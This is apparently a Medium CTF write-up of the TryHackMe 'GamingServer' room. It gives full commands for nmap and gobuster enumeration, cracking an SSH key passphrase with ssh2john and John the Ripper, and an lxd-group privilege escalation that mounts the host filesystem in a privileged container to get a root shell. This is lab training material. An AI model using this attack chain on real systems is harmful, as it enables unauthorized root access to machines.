GamingServer thm
Doing quick nmap scan “sudo nmap -p- -sC -sV 10.145.137.48” the port 22 and 80 were open
after visiting the website i found a page where you can see the uploaded files the server has i could use this to gain a reverse shell
looking at the page source theres a line where someone tell john to add some content this user can be used to brute force a log-in page or use it to log in via ssh
ok, so doing a brute force enumeration with gobuster (“gobuster dir -u http://10.145.137.48/ -w /usr/share/seclists/Discovery/Web-Content/common.txt”) i found some interest paths to look
after visiting the paths the secret. One had a ssh key encrypted and in the uploads one i found a wordlist that could be used to know the passphrase of the ssh key so ill be using john the ripper to get it
To begin with bruteforcing the passphrase is so easy first of all we save the sshkey to a file with nano, then use this command “ssh2john sshkey.txt > sshkey.hash” to convert the ssh key to a format that the tool can decrypt then use this command to brute force it “john — wordlist=/home/kali/Desktop/gamservers/passlist.txt sshkey.hash” the wordlist i used is the same as the one on the uploads path. the output is this
it worked correctly the “letmein” as the passphrase
Get X1mi16’s stories in your inbox
Join Medium for free to get updates from this writer.
After this we connect to the ssh with the user john and the using this ssh key
and there we have it an ssh log-in so lets get the user flag
after doing enumeration with linpeas i found that the kernel version was vulnerable to “CVE-2018–18955" but when i tried to the PoC gcc was not found so i discovered that the user john was in the “lxd” basically that group manages the lxd containers, by design the lxd group runs with root permisions so when you add a common user to the lxd group you allow the user to interact with the background service without needing a sudo password.
So the first thing i did was prepare the alpine image
and then downloaded “https://github.com/saghul/lxd-alpine-builder/blob/master/alpine-v3.13-x86_64-20210218_0139.tar.gz” so after that i sent the file to the victim by setting a python server with “python3 -m http.server”
i imported the image with “lxc image import alpine-v3.13-x86_64–20210218_0139.tar.gz — alias myimage”
then i initialized a privileged container with “lxc init myimage ignite -c security.privileged=true”
mounted the host filesystem with “lxc config device add ignite my device disk source=/ path=/mnt/root recursive=true”
started the container “lxc start ignite”
and i finally executed it to get the root shell “lxc exec ignite /bin/sh”
now to get the root flag i have to cd to /mnt/root because thats where i mounted the container after that i got the flag
